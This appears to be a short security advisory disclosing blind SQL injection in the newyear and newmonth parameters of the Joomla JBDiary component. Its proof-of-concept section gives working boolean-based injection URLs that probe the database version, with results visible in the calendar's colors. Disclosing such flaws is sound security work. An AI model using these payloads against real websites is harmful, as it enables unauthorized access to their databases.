[~]>> ...[BEGIN ADVISORY]...
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
[~]>> TITLE: Joomla (JBDiary) BLIND SQL Injection Vulnerabilities
[~]>> LANGUAGE: PHP
[~]>> DORK: N/A
[~]>> RESEARCHER: B-HUNT3|2
[~]>> CONTACT: bhunt3r[at_no_spam]gmail[dot_no_spam]com
[~]>> TYPE: COMMERCIAL
[~]>> PRICE: 5€
[~]>> TESTED ON: Demo Site
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
[~]>> DESCRIPTION: Multiple input vars are vulnerable to SQL code injection.
[~]>> AFFECTED VERSIONS: Confirmed in 1.6 but probably other versions also.
[~]>> RISK: High/Medium
[~]>> IMPACT: Execute Arbitrary SQL queries
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
[~]>> PROOFS OF CONCEPT:
[~]>> http://server/?newyear=[SQL]&newmonth=[SQL]
[~]>> -----{VAR NEWYEAR}-----
[~]>> {RETURN TRUE}
[~]>> http://server/?newyear=2011'+and+substring(@@version,1,1)=4%23&newmonth=01
[~]>> {RETURN FALSE}
[~]>> http://server/?newyear=2011'+and+substring(@@version,1,1)=5%23&newmonth=01
[~]>> -----{VAR NEWMONTH}-----
[~]>> {RETURN TRUE}
[~]>> http://server/?newyear=2011&newmonth=01'+and+substring(@@version,1,1)=4%23
[~]>> {RETURN FALSE}
[~]>> http://server/?newyear=2011&newmonth=01'+and+substring(@@version,1,1)=5%23
[~]>> Note: True or False is visible in calendar's colors.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
[~]>> ...[END ADVISORY]...
